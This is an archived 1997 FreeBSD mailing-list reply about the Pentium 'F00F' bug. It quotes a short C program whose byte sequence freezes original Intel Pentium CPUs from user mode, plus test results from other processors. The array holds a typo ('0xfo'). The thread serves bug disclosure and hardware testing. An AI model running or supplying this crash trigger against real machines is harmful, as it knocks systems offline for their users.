Date: Fri, 7 Nov 1997 14:10:26 -0800 (PST) From: Howard Lew <digital@www2.shoppersnet.com> To: Julian Elischer <julian@whistle.com> Cc: hackers@FreeBSD.ORG Subject: Re: Newest Pentium bug (fatal) Message-ID: <Pine.BSF.3.91.971107140742.8671A-100000@www2.shoppersnet.com> In-Reply-To: <3463605C.41C67EA6@whistle.com>
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On Fri, 7 Nov 1997, Julian Elischer wrote:
> On a "genuine Intel" pentium (not pentium pro)
> execution of the following sequence, 0xf0 0x0f 0xc7 0xc8
>
> will stop the processor. This is doable from user mode and in
> 16bitmode, or in fact any mode.
>
> try the following c program.
>
>
>
>
> unsigned char x[] = { 0xfo, 0x0f, 0xc7, 0xc8 };
>
>
> main ()
> {
> void (*f)(void) = x;
> f();
> }
>
>
>
>
> We've checked:
> K5... OK
> P6... OK
> P5... *SPLAT*
>
> no idea about the pentium II or other pentium copies.
> K6?
>
> other pentium variants?
> versions?
On a Cyrix 6x86MX, it just dumps core:
Illegal instruction (core dumped)
>
> this one DEFINITLY dies:
> CPU: Pentium (99.38-MHz 586-class CPU)
> Origin = "GenuineIntel" Id = 0x525 Stepping=5
> Features=0x1bf<FPU,VME,DE,PSE,TSC,MSR,MCE,CX8>
>
>
> share and enjoy..
> julian
>
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